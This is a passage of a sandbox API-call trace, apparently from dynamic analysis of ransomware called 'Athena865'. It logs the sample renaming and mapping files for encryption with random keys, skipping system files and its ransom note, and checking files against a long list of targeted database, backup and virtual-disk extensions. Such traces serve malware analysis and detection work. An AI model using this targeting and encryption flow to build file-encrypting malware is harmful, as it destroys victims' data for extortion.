phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.621] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.621] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.621] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a90, lpName=0x0) returned 0x154 [0132.623] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a90) returned 0x100000 [0132.624] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.625] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.625] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.626] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.626] CloseHandle (hObject=0x154) returned 1 [0132.626] CloseHandle (hObject=0x17c) returned 1 [0132.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.627] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2=".") returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="..") returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="windows") returned -1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="bootmgr") returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="temp") returned -1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="pagefile.sys") returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="boot") returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="ids.txt") returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="ntuser.dat") returned 1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="perflogs") returned -1 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="MSBuild") returned 1 [0132.627] lstrlenW (lpString="PARNT_06.MID") returned 12 [0132.627] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_06.MID" | out: lpString1="PARNT_06.MID") returned="PARNT_06.MID" [0132.627] lstrlenW (lpString="PARNT_06.MID") returned 12 [0132.627] lstrlenW (lpString="Athena865") returned 9 [0132.627] lstrcmpiW (lpString1="NT_06.MID", lpString2="Athena865") returned 1 [0132.627] lstrlenW (lpString=".dll") returned 4 [0132.627] lstrcmpiW (lpString1="PARNT_06.MID", lpString2=".dll") returned 1 [0132.628] lstrlenW (lpString=".lnk") returned 4 [0132.628] lstrcmpiW (lpString1="PARNT_06.MID", lpString2=".lnk") returned 1 [0132.628] lstrlenW (lpString=".ini") returned 4 [0132.628] lstrcmpiW (lpString1="PARNT_06.MID", lpString2=".ini") returned 1 [0132.628] lstrlenW (lpString=".sys") returned 4 [0132.628] lstrcmpiW (lpString1="PARNT_06.MID", lpString2=".sys") returned 1 [0132.628] lstrlenW (lpString="PARNT_06.MID") returned 12 [0132.628] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.Athena865") returned 73 [0132.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.athena865"), dwFlags=0x1) returned 1 [0132.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.629] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7768) returned 1 [0132.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.630] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.630] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.630] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.630] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2160, lpName=0x0) returned 0x154 [0132.632] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2160) returned 0x100000 [0132.633] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.633] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.634] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.634] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.634] CloseHandle (hObject=0x154) returned 1 [0132.635] CloseHandle (hObject=0x17c) returned 1 [0132.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.635] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2=".") returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="..") returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="windows") returned -1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="bootmgr") returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="temp") returned -1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="pagefile.sys") returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="boot") returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="ids.txt") returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="ntuser.dat") returned 1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="perflogs") returned -1 [0132.635] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="MSBuild") returned 1 [0132.635] lstrlenW (lpString="PARNT_07.MID") returned 12 [0132.635] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_07.MID" | out: lpString1="PARNT_07.MID") returned="PARNT_07.MID" [0132.636] lstrlenW (lpString="PARNT_07.MID") returned 12 [0132.636] lstrlenW (lpString="Athena865") returned 9 [0132.636] lstrcmpiW (lpString1="NT_07.MID", lpString2="Athena865") returned 1 [0132.636] lstrlenW (lpString=".dll") returned 4 [0132.636] lstrcmpiW (lpString1="PARNT_07.MID", lpString2=".dll") returned 1 [0132.636] lstrlenW (lpString=".lnk") returned 4 [0132.636] lstrcmpiW (lpString1="PARNT_07.MID", lpString2=".lnk") returned 1 [0132.636] lstrlenW (lpString=".ini") returned 4 [0132.636] lstrcmpiW (lpString1="PARNT_07.MID", lpString2=".ini") returned 1 [0132.636] lstrlenW (lpString=".sys") returned 4 [0132.636] lstrcmpiW (lpString1="PARNT_07.MID", lpString2=".sys") returned 1 [0132.636] lstrlenW (lpString="PARNT_07.MID") returned 12 [0132.636] lstrlenW (lpString="bak") returned 3 [0132.636] lstrcmpiW (lpString1="MID", lpString2="bak") returned 1 [0132.636] lstrlenW (lpString="ba_") returned 3 [0132.636] lstrcmpiW (lpString1="MID", lpString2="ba_") returned 1 [0132.636] lstrlenW (lpString="dbb") returned 3 [0132.636] lstrcmpiW (lpString1="MID", lpString2="dbb") returned 1 [0132.636] lstrlenW (lpString="vmdk") returned 4 [0132.636] lstrcmpiW (lpString1=".MID", lpString2="vmdk") returned -1 [0132.636] lstrlenW (lpString="rar") returned 3 [0132.636] lstrcmpiW (lpString1="MID", lpString2="rar") returned -1 [0132.636] lstrlenW (lpString="zip") returned 3 [0132.636] lstrcmpiW (lpString1="MID", lpString2="zip") returned -1 [0132.636] lstrlenW (lpString="tgz") returned 3 [0132.636] lstrcmpiW (lpString1="MID", lpString2="tgz") returned -1 [0132.636] lstrlenW (lpString="vbox") returned 4 [0132.636] lstrcmpiW (lpString1=".MID", lpString2="vbox") returned -1 [0132.636] lstrlenW (lpString="vdi") returned 3 [0132.637] lstrcmpiW (lpString1="MID", lpString2="vdi") returned -1 [0132.637] lstrlenW (lpString="vhd") returned 3 [0132.637] lstrcmpiW (lpString1="MID", lpString2="vhd") returned -1 [0132.637] lstrlenW (lpString="vhdx") returned 4 [0132.637] lstrcmpiW (lpString1=".MID", lpString2="vhdx") returned -1 [0132.637] lstrlenW (lpString="avhd") returned 4 [0132.637] lstrcmpiW (lpString1=".MID", lpString2="avhd") returned -1 [0132.637] lstrlenW (lpString="db") returned 2 [0132.637] lstrcmpiW (lpString1="ID", lpString2="db") returned 1 [0132.637] lstrlenW (lpString="db2") returned 3 [0132.637] lstrcmpiW (lpString1="MID", lpString2="db2") returned 1 [0132.637] lstrlenW (lpString="db3") returned 3 [0132.637] lstrcmpiW (lpString1="MID", lpString2="db3") returned 1 [0132.637] lstrlenW (lpString="dbf") returned 3 [0132.637] lstrcmpiW (lpString1="MID", lpString2="dbf") returned 1 [0132.637] lstrlenW (lpString="mdf") returned 3 [0132.637] lstrcmpiW (lpString1="MID", lpString2="mdf") returned 1 [0132.637] lstrlenW (lpString="mdb") returned 3 [0132.637] lstrcmpiW (lpString1="MID", lpString2="mdb") returned 1 [0132.637] lstrlenW (lpString="sql") returned 3 [0132.637] lstrcmpiW (lpString1="MID", lpString2="sql") returned -1 [0132.637] lstrlenW (lpString="sqlite") returned 6 [0132.637] lstrcmpiW (lpString1="07.MID", lpString2="sqlite") returned -1 [0132.637] lstrlenW (lpString="sqlite3") returned 7 [0132.637] lstrcmpiW (lpString1="_07.MID", lpString2="sqlite3") returned -1 [0132.637] lstrlenW (lpString="sqlitedb") returned 8 [0132.637] lstrcmpiW (lpString1="T_07.MID", lpString2="sqlitedb") returned 1 [0132.637] lstrlenW (lpString="xml") returned 3 [0132.638] lstrcmpiW (lpString1="MID", lpString2="xml") returned -1 [0132.638] lstrlenW (lpString="$er") returned 3 [0132.638] lstrcmpiW (lpString1="MID", lpString2="$er") returned 1 [0132.638] lstrlenW (lpString="4dd") returned 3 [0132.638] lstrcmpiW (lpString1="MID", lpString2="4dd") returned 1 [0132.638] lstrlenW (lpString="4dl") returned 3 [0132.638] lstrcmpiW (lpString1="MID", lpString2="4dl") returned 1 [0132.638] lstrlenW (lpString="^^^") returned 3 [0132.638] lstrcmpiW (lpString1="MID", lpString2="^^^") returned 1 [0132.638] lstrlenW (lpString="abs") returned 3 [0132.638] lstrcmpiW (lpString1="MID", lpString2="abs") returned 1 [0132.638] lstrlenW (lpString="abx") returned 3 [0132.638] lstrcmpiW (lpString1="MID", lpString2="abx") returned 1 [0132.638] lstrlenW (lpString="accdb") returned 5 [0132.638] lstrcmpiW (lpString1="7.MID", lpString2="accdb") returned -1 [0132.638] lstrlenW (lpString="accdc") returned 5 [0132.638] lstrcmpiW (lpString1="7.MID", lpString2="accdc") returned -1 [0132.638] lstrlenW (lpString="accde") returned 5 [0132.638] lstrcmpiW (lpString1="7.MID", lpString2="accde") returned -1 [0132.638] lstrlenW (lpString="accdr") returned 5 [0132.638] lstrcmpiW (lpString1="7.MID", lpString2="accdr") returned -1 [0132.638] lstrlenW (lpString="accdt") returned 5 [0132.638] lstrcmpiW (lpString1="7.MID", lpString2="accdt") returned -1 [0132.638] lstrlenW (lpString="accdw") returned 5 [0132.638] lstrcmpiW (lpString1="7.MID", lpString2="accdw") returned -1 [0132.638] lstrlenW (lpString="accft") returned 5 [0132.638] lstrcmpiW (lpString1="7.MID", lpString2="accft") returned -1 [0132.638] lstrlenW (lpString="adb") returned 3 [0132.638] lstrcmpiW (lpString1="MID", lpString2="adb") returned 1 [0132.639] lstrlenW (lpString="adb") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="adb") returned 1 [0132.639] lstrlenW (lpString="ade") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="ade") returned 1 [0132.639] lstrlenW (lpString="adf") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="adf") returned 1 [0132.639] lstrlenW (lpString="adn") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="adn") returned 1 [0132.639] lstrlenW (lpString="adp") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="adp") returned 1 [0132.639] lstrlenW (lpString="alf") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="alf") returned 1 [0132.639] lstrlenW (lpString="ask") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="ask") returned 1 [0132.639] lstrlenW (lpString="btr") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="btr") returned 1 [0132.639] lstrlenW (lpString="cat") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="cat") returned 1 [0132.639] lstrlenW (lpString="cdb") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="cdb") returned 1 [0132.639] lstrlenW (lpString="ckp") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="ckp") returned 1 [0132.639] lstrlenW (lpString="cma") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="cma") returned 1 [0132.639] lstrlenW (lpString="cpd") returned 3 [0132.639] lstrcmpiW (lpString1="MID", lpString2="cpd") returned 1 [0132.639] lstrlenW (lpString="dacpac") returned 6 [0132.639] lstrcmpiW (lpString1="07.MID", lpString2="dacpac") returned -1 [0132.640] lstrlenW (lpString="dad") returned 3 [0132.640] lstrcmpiW (lpString1="MID", lpString2="dad") returned 1 [0132.640] lstrlenW (lpString="dadiagrams") returned 10 [0132.640] lstrcmpiW (lpString1="RNT_07.MID", lpString2="dadiagrams") returned 1 [0132.640] lstrlenW (lpString="daschema") returned 8 [0132.640] lstrcmpiW (lpString1="T_07.MID", lpString2="daschema") returned 1 [0132.640] lstrlenW (lpString="db-journal") returned 10 [0132.640] lstrcmpiW (lpString1="RNT_07.MID", lpString2="db-journal") returned 1 [0132.640] lstrlenW (lpString="db-shm") returned 6 [0132.640] lstrcmpiW (lpString1="07.MID", lpString2="db-shm") returned -1 [0132.640] lstrlenW (lpString="db-wal") returned 6 [0132.640] lstrcmpiW (lpString1="07.MID", lpString2="db-wal") returned -1 [0132.640] lstrlenW (lpString="dbc") returned 3 [0132.640] lstrcmpiW (lpString1="MID", lpString2="dbc") returned 1 [0132.640] lstrlenW (lpString="dbs") returned 3 [0132.640] lstrcmpiW (lpString1="MID", lpString2="dbs") returned 1 [0132.640] lstrlenW (lpString="dbt") returned 3 [0132.640] lstrcmpiW (lpString1="MID", lpString2="dbt") returned 1 [0132.640] lstrlenW (lpString="dbv") returned 3 [0132.640] lstrcmpiW (lpString1="MID", lpString2="dbv") returned 1 [0132.640] lstrlenW (lpString="dbx") returned 3 [0132.640] lstrcmpiW (lpString1="MID", lpString2="dbx") returned 1 [0132.640] lstrlenW (lpString="dcb") returned 3 [0132.640] lstrcmpiW (lpString1="MID", lpString2="dcb") returned 1 [0132.640] lstrlenW (lpString="dct") returned 3 [0132.640] lstrcmpiW (lpString1="MID", lpString2="dct") returned 1 [0132.640] lstrlenW (lpString="dcx") returned 3 [0132.640] lstrcmpiW (lpString1="MID", lpString2="dcx") returned 1 [0132.640] lstrlenW (lpString="ddl") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="ddl") returned 1 [0132.641] lstrlenW (lpString="dlis") returned 4 [0132.641] lstrcmpiW (lpString1=".MID", lpString2="dlis") returned -1 [0132.641] lstrlenW (lpString="dp1") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="dp1") returned 1 [0132.641] lstrlenW (lpString="dqy") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="dqy") returned 1 [0132.641] lstrlenW (lpString="dsk") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="dsk") returned 1 [0132.641] lstrlenW (lpString="dsn") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="dsn") returned 1 [0132.641] lstrlenW (lpString="dtsx") returned 4 [0132.641] lstrcmpiW (lpString1=".MID", lpString2="dtsx") returned -1 [0132.641] lstrlenW (lpString="dxl") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="dxl") returned 1 [0132.641] lstrlenW (lpString="eco") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="eco") returned 1 [0132.641] lstrlenW (lpString="ecx") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="ecx") returned 1 [0132.641] lstrlenW (lpString="edb") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="edb") returned 1 [0132.641] lstrlenW (lpString="epim") returned 4 [0132.641] lstrcmpiW (lpString1=".MID", lpString2="epim") returned -1 [0132.641] lstrlenW (lpString="fcd") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="fcd") returned 1 [0132.641] lstrlenW (lpString="fdb") returned 3 [0132.641] lstrcmpiW (lpString1="MID", lpString2="fdb") returned 1 [0132.641] lstrlenW (lpString="fic") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="fic") returned 1 [0132.642] lstrlenW (lpString="flexolibrary") returned 12 [0132.642] lstrlenW (lpString="fm5") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="fm5") returned 1 [0132.642] lstrlenW (lpString="fmp") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="fmp") returned 1 [0132.642] lstrlenW (lpString="fmp12") returned 5 [0132.642] lstrcmpiW (lpString1="7.MID", lpString2="fmp12") returned -1 [0132.642] lstrlenW (lpString="fmpsl") returned 5 [0132.642] lstrcmpiW (lpString1="7.MID", lpString2="fmpsl") returned -1 [0132.642] lstrlenW (lpString="fol") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="fol") returned 1 [0132.642] lstrlenW (lpString="fp3") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="fp3") returned 1 [0132.642] lstrlenW (lpString="fp4") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="fp4") returned 1 [0132.642] lstrlenW (lpString="fp5") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="fp5") returned 1 [0132.642] lstrlenW (lpString="fp7") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="fp7") returned 1 [0132.642] lstrlenW (lpString="fpt") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="fpt") returned 1 [0132.642] lstrlenW (lpString="frm") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="frm") returned 1 [0132.642] lstrlenW (lpString="gdb") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="gdb") returned 1 [0132.642] lstrlenW (lpString="gdb") returned 3 [0132.642] lstrcmpiW (lpString1="MID", lpString2="gdb") returned 1 [0132.642] lstrlenW (lpString="grdb") returned 4 [0132.643] lstrcmpiW (lpString1=".MID", lpString2="grdb") returned -1 [0132.643] lstrlenW (lpString="gwi") returned 3 [0132.643] lstrcmpiW (lpString1="MID", lpString2="gwi") returned 1 [0132.643] lstrlenW (lpString="hdb") returned 3 [0132.643] lstrcmpiW (lpString1="MID", lpString2="hdb") returned 1 [0132.643] lstrlenW (lpString="his") returned 3 [0132.643] lstrcmpiW (lpString1="MID", lpString2="his") returned 1 [0132.643] lstrlenW (lpString="ib") returned 2 [0132.643] lstrcmpiW (lpString1="ID", lpString2="ib") returned 1 [0132.643] lstrlenW (lpString="idb") returned 3 [0132.643] lstrcmpiW (lpString1="MID", lpString2="idb") returned 1 [0132.643] lstrlenW (lpString="ihx") returned 3 [0132.643] lstrcmpiW (lpString1="MID", lpString2="ihx") returned 1 [0132.643] lstrlenW (lpString="itdb") returned 4 [0132.643] lstrcmpiW (lpString1=".MID", lpString2="itdb") returned -1 [0132.643] lstrlenW (lpString="itw") returned 3 [0132.643] lstrcmpiW (lpString1="MID", lpString2="itw") returned 1 [0132.643] lstrlenW (lpString="jet") returned 3 [0132.643] lstrcmpiW (lpString1="MID", lpString2="jet") returned 1 [0132.643] lstrlenW (lpString="jtx") returned 3 [0132.643] lstrcmpiW (lpString1="MID", lpString2="jtx") returned 1 [0132.643] lstrlenW (lpString="kdb") returned 3 [0132.643] lstrcmpiW (lpString1="MID", lpString2="kdb") returned 1 [0132.643] lstrlenW (lpString="kexi") returned 4 [0132.643] lstrcmpiW (lpString1=".MID", lpString2="kexi") returned -1 [0132.643] lstrlenW (lpString="kexic") returned 5 [0132.643] lstrcmpiW (lpString1="7.MID", lpString2="kexic") returned -1 [0132.643] lstrlenW (lpString="kexis") returned 5 [0132.644] lstrcmpiW (lpString1="7.MID", lpString2="kexis") returned -1 [0132.644] lstrlenW (lpString="lgc") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="lgc") returned 1 [0132.644] lstrlenW (lpString="lwx") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="lwx") returned 1 [0132.644] lstrlenW (lpString="maf") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="maf") returned 1 [0132.644] lstrlenW (lpString="maq") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="maq") returned 1 [0132.644] lstrlenW (lpString="mar") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="mar") returned 1 [0132.644] lstrlenW (lpString="marshal") returned 7 [0132.644] lstrcmpiW (lpString1="_07.MID", lpString2="marshal") returned -1 [0132.644] lstrlenW (lpString="mas") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="mas") returned 1 [0132.644] lstrlenW (lpString="mav") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="mav") returned 1 [0132.644] lstrlenW (lpString="maw") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="maw") returned 1 [0132.644] lstrlenW (lpString="mdbhtml") returned 7 [0132.644] lstrcmpiW (lpString1="_07.MID", lpString2="mdbhtml") returned -1 [0132.644] lstrlenW (lpString="mdn") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="mdn") returned 1 [0132.644] lstrlenW (lpString="mdt") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="mdt") returned 1 [0132.644] lstrlenW (lpString="mfd") returned 3 [0132.644] lstrcmpiW (lpString1="MID", lpString2="mfd") returned 1 [0132.644] lstrlenW (lpString="mpd") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="mpd") returned -1 [0132.645] lstrlenW (lpString="mrg") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="mrg") returned -1 [0132.645] lstrlenW (lpString="mud") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="mud") returned -1 [0132.645] lstrlenW (lpString="mwb") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="mwb") returned -1 [0132.645] lstrlenW (lpString="myd") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="myd") returned -1 [0132.645] lstrlenW (lpString="ndf") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="ndf") returned -1 [0132.645] lstrlenW (lpString="nnt") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="nnt") returned -1 [0132.645] lstrlenW (lpString="nrmlib") returned 6 [0132.645] lstrcmpiW (lpString1="07.MID", lpString2="nrmlib") returned -1 [0132.645] lstrlenW (lpString="ns2") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="ns2") returned -1 [0132.645] 